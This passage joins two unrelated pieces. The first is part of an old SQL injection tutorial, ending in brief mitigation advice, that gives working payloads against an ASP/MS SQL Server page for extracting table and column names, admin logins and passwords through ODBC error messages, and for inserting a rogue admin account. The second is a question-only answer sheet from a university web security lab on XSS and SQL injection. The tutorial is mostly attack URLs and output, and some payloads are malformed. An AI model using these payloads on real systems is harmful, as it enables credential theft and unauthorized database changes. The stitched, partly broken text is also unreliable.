But the target IP must folder "share" sharing for Everyone.

6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:

http://duck/index.asp?id=10 

We will try to UNION the integer '10' with another string from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. 
/index.asp, line 5

The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".

To get the next table name, we can use the following query:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

We also can search for data using LIKE keyword:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. 
/index.asp, line 5

The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".

6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. 
/index.asp, line 5

Now that we have the first column name, we can use NOT IN () to get the next column name:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. 
/index.asp, line 5

When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. 
/index.asp, line 5

6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.

Now, let's get the first login_name from the "admin_login" table:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. 
/index.asp, line 5

We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Output:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. 
/index.asp, line 5

We can now login as "neo" with his password "m4trix".

6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.

To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. 
/index.asp, line 5

Now, you can even login as 'trinity' with the password '31173'.

7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":

http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

To INSERT a new record into the database:

http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

We can now login as "neo2" with the password of "newpas5".

8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
 - Input from users
 - Parameters from URL
 - Values from cookie

For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.

Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.

Delete stored procedures that you are not using like:

master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Answer Sheet: Web Security Lab 

Group Number: _______________

Member Names: _________________________     _________________________

Section 1.1 – Setting a cookie in PHP

Section 1.2 – How secure is it?

Q1.2.1 From the source code, what are all the parameters used to set the cookie?

Q1.2.2 Can you read the contents of the cookie?

Screenshot 1: Take a screenshot or print the TCP-Stream that you captured.

Q1.2.3 Did the security option work like we thought it would?

Section 2.1 – Type 1: Reflected XSS Attacks

Q2.1.1 What happened when the results page was displayed?

Screenshot 2: Take a screen shot of the search results page showing the effects of the injected script that you typed into the query box

Q2.1.2 Looking at the URL line at the top of the browser, what is value of the URL variable “searchQuery”?

Q2.1.3 What are these two lines of code doing in the context of the application?

Q2.1.4 Take a look at Appendix B. Which PHP function may be useful for properly handling user input?

Q2.1.5 Rewrite line 10 of the code above to reflect this change.

Section 2.2 – Cookie Stealing and XSS

Q2.2.1 Why are the DOMAIN and PATH attributes important in term of security? (Hint: What kind of data may the cookie potentially contain?)

Q2.2.2 What happens when you try to go directly to the welcome page?

Q2.2.3 What are the two lines that start with “document.cookie = “ doing? List the following attributes of the two cookies, NAME, MAX-AGE, PATH. Refer to the Javascript reference located in Appendix A.

Q2.2.4 Look at the source of this page (/ece4112/cookie/welcome.php) and describe a potential XSS vulnerability that exists on this page. (Hint: It’s near the welcome message)

Q2.2.5 What happens this time when you go directly to the page?

Q2.2.6 What do you see when you navigate to this page?

Q2.2.7 What is different when you navigate to this page? Why is this so?

Q2.2.8 What happens when you click the link? Does it seem as though anything malicious has occurred?

Q2.2.9 What do you think the <a> tag in the malicious tag is doing.
Q2.2.10 Do you see your group name and super secret password?

Q2.2.11 Review the source code for this file within the file system (not through the browser). What is this program doing?

Q2.2.12 When the link in the email was clicked, why did it seem as though no malicious activity took place?

Section 2.3 – Type 2: Persistent XSS attacks

Q2.3.1 Look at the source code for messages.php and view_message.php within your system (not through a browser).  Which part(s) of the code are vulnerable to XSS attacks?

Q2.3.2 What does the above code do?

Q2.3.3 What happens when you click the message title? Does it look like anything malicious has occurred? Explain what has just happened.

Q2.3.4 Post a message that, when clicked, will pop up an alert window with a message. What is the text you entered in the message body field to achieve this?

Screenshot 3: Click on the message that you have just created and take a screenshot of the exploit in action (the browser window with the alert window).
Section 3.1 – Introductory Exercises

Q3.1.1 What message do you get back when you set the msg_id value to 1ee7?

Q3.1.2 Which message do you get back when running http://<ip_address>/ece4112/messageboard/view_messages.php?msg_id=(SELECT COUNT(*) FROM users)?

Section 3.2 – Blind SQL Injection

Q3.2.1. What happens?

Q3.2.2. What happens?

Q3.2.3. How long is the password we are going to steal?

Q3.2.4. What is the $SQL variable going to be when it is submitted to the database?

Q3.2.5. What is the user_id/password combination you stole?

Q3.2.6. How might a web developer prevent this type of data theft?

Section 3.3 – Faulty Login Page

Q3.3.1 What happened? Explain why this sql injection worked. (Hint: what is -- in a sql statement?)

Q3.3.2 List at least three other similar sql injection code snippets that could be used to exploit this login?

Screenshot 4: Take a screen shot of a successful login.

Section 3.4 – Securing the Login Page

Q3.4.1 How are the passwords stored in the database? For verification, go to the database in MySQL and view the contents of table users by typing select * from users.

Q3.4.2 How is the username and password verification different in login.php versus login_corrupt.php?

Q3.4.3 What does the get_magic_quotes_gpc() function do?
Q3.4.4 What are magic quotes?
Q3.4.5 Explain the general strategy in preventing SQL injection statements.

Section 4.1 Cross-Site Scripting

Section 4.2 Directory Indexing

Q4.2.1 How can an administrator prevent this type of directory listing?

Section 4.3 – Predictable File Location

Section 4.4 – OS Commanding

Section 4.5 – Filename Manipulation

Section 4.6 – SQL Injection

Q4.6.1  What are the next two column names?

Section 4.7 – Information Leakage

Q 4.7.1 What kind of interesting information do you see, if any?

Section 4.8 – Weak Password Recovery Validation

Q4.8.1 What is John’s password?

Section 3.9 – Server-Side Include (SSI) Injection

Screenshot 5: Take a screenshot of the page returned by using <!--#echo var=“DATE_LOCAL”-->
Section 3.10 – Session Fixation
Section 3.11 – Insufficient Session Expiration

Section 5.1 – Install Adobe Acrobat Reader

Section 5.2 – Viewing “Confidential” Information

Q5.2.1 Did you notice anything peculiar?

Q5.2.2 What was the expiration date on the account number?

Screenshot 6: Take a screenshot of the uncensored image.

Q5.2.3 Did everything copy correctly (i.e. is it readable and does it make sense)?

Screenshot 7: Take a screenshot of the text you pasted.

How long did it take you to complete this lab?  Was it an appropriate length lab?

What corrections and/or improvements would you suggest for this lab?  (For examples, IIS exploits, or lessons on SSL.)
Turn In Checklist

· Completed Answer Key

· 7 screen shots
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